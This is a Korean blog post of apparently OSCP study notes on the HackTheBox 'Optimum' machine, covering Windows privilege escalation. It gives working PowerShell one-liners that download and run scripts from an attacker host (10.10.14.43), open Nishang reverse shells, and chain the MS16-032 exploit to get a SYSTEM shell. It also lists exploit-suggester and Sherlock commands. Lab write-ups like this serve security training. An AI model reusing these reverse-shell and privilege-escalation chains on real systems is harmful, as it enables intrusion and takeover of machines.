커널 익스플로잇
windows exploit suggester
공격 대상 systeminfo 결과 복사 후 로컬에 systeminfo.txt 생성
* hotfix 정보까지 저장해야 missing-patch 취약점도 찾아낼 수 있다.
cmd> systeminfo
I found some Hotfix's
A hotfix or quick-fix engineering update is a single, cumulative package that includes information that is used to address a problem in a software product.
DB업데이트
python windows-exploit-suggester.py --update
Exploit 검색
python windows-exploit-suggester.py --systeminfo systeminfo.txt --database 2019-10-08-mssb.xls
파이썬 코드 권한상승 코드 발견 => EXE파일로 변환 (환경상 불가로 PASS)
pyinstaller --onefile [파이썬코드]
* 리눅스에서 실행하면 리눅스용 바이너리가 생성됨 ㅠ
* 고로 같은 아키텍쳐의 windows에서 해줘야함
* Searchsploit과 Exploit-DB 브라우저 검색에 차이가 있다...
또한 Exploit 설명을 자세히보면 POC에 대한 pre-compiled 된 바이너리 주소를 제공하기도 함.
* git raw 바이너리를 다운로드시 git clone이 안되면 wget을 이용하자.
* 바이너리 역시 100% 성공률이 아님, 실패 가능성이 있으므로 안되면 다른 바이너리를 찾아봐야한다..
크로스 컴파일 참고
wine & pyinstaller
https://www.andreafortuna.org/2017/12/27/how-to-cross-compile-a-python-script-into-a-windows-executable-on-linux/
바이너리로 푸는 법 참고
https://alamot.github.io/optimum_writeup/
Sherlock 스크립트
셜록: 익스플로잇 검색해주는 파워 쉘, 여러가지 기능이 있지만 Find-AllVulns만 사용함
powershell -c "Import-module ./Sherlock.ps1;Find-AllVulns;"
So we can use Sherlock to find the missing patches which will help us to Privilege Escalation.
Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.
IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.31:8000/Sherlock.ps1’)
* 윈도우 프로세스 확인, 제거
tasklist [/V]
taskkill /pid 3314
cmd에서 파워쉘 들어가면 프롬트 멈춤 현상 발생
=> 만들어진 넷켓 리버스 쉘과 파워쉘 상태가 interative가 아니기 때문이다.
netcat 쉘이 완전히 대화식이 아니기 때문일 수 있습니다. 나는 모바일 ATM을 사용하고 있기 때문에 특정 정보를 제공 할 수 없지만 "upgrade netcat shell"와 같은 것을 검색하면 유용한 리소스를 찾을 수 있습니다.
해결 방법 2가지
1. Check out Nishang's Invoke-PowershellTcp.ps1.
Much better than a cmd nc shell.
Your shell isn't fully interactive. Windows usually doesn't have python on it so the python trick won't work.
Your best bet is to send yourself a second shell (which the first thing I always do is send myself a second shell in case the first one dies). Either upload a binary of windows/powershell_reverse_tcp or use something like Nishang.
This week I'm going to try this script which says it will make a fully interactive PowerShell shell: https://github.com/antonioCoco/ConPtyShell
powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.14.43/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.43 -Port 4321
2. powershell.exe -c를 하나의 라인으로 실행
콘솔로 출력 (out-host cmdlet 사용)
powershell -c "get-command | out-host -paging"
콘솔 결과 저장 (out-file cmdlet 사용)
powershell -c "Get-Process | Out-File -FilePath C:\temp\processlist.txt"
* 파워쉘에서 싱글쿼터는 에러를 발생시킬 수 있음
MS16-032 권한상승 파워쉘 Exploit
* 결론: 지금으로써는 파워 쉘로 권한상승 시도 안하는게 낫다. 바이너리와 비교하여 까다로움)
- Nishang에서 제공하는 파워쉘 모듈 Invoke-PowerShellTcp.ps1 필요
- Empire 제공하는 권한상승 모듈 Invoke-MS16032.ps1 필요
파워쉘 상태로 Fully Interactive 상태 만들기
1. Invoke-PowerShellTcp.ps1 스크립트 맨 밑에 함수 트리거 되도록 수정 후 웹 루트에 이동시킴
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.43 -Port 2222
2. Victim의 nc에서 명령어 입력
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.43/Invoke-PowerShellTcp.ps1')
=> Fully Interactive shell로 변경됨
이미 nc에 쉘 땃으면 파워쉘 내용 수정하지 않고 nc에서 바로 트리거 가능함, 위 내용은 웹 사이트 RCE같은 다른 포인트에서 수행
powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.14.43/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.43 -Port 2222
* 단, 권한상승할때는 에러 발생함, 권한상승할 때는 2번으로 수행.
* IEX(인터렉티브 옵션) 쓰는 이유: 문자열로 받는 내용을 파워 쉘 상태로 바로 실행할 수 있음
Invoke-MS16032.ps1 스크립트 트리거를 위한 작업
3. Invoke-PowerShellTcp.ps1를 root.ps1로 변경하여 복사 후 웹 루트로 이동시킴
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.43 -Port 3333
1번처럼 하단에 또다른 포트가 트리거 되도록 수정
4. Invoke-MS16032.ps1 파워 쉘의 예제 사용법 복사 후 스크립트 하단에 수정된 니샹 파워 쉘(root.ps1)을 트리거 시키도록 수정 후 웹루트로 이동시킴
}
Invoke-MS16-032 -c "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.43/root.ps1')"
5. 희생자 PC의 파워 쉘 Fully Interactive로 연결된 상태에서 명령어 수행
PS C:\> IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.43/Invoke-MS16032.ps1’)
★ Fully Interactive가 아닌 상태에서는 위방법대로 안하면 해당 권한상승 쉘 실행이 불가능함.
내가 좀 더 쉽게 해보려고 별별 테스트 다 해봤는데 안됨.
파워쉘 푸는법 참고 사이트
https://0xw0lf.github.io//posts/HTB-Optimum
https://medium.com/@iammainul/hackthebox-optimum-walkthrough-powershell-only-21e17a8d29b3
https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/
'OSCP > HackTheBox' 카테고리의 다른 글
[Windows] Grandpa & Granny (0) | 2020.05.25 |
---|---|
[Linux] Blocky (0) | 2020.05.23 |
[Linux] Beep (0) | 2020.05.19 |
[Windows] Devel (0) | 2020.05.19 |
[OSCP] HackTheBox List (0) | 2020.05.18 |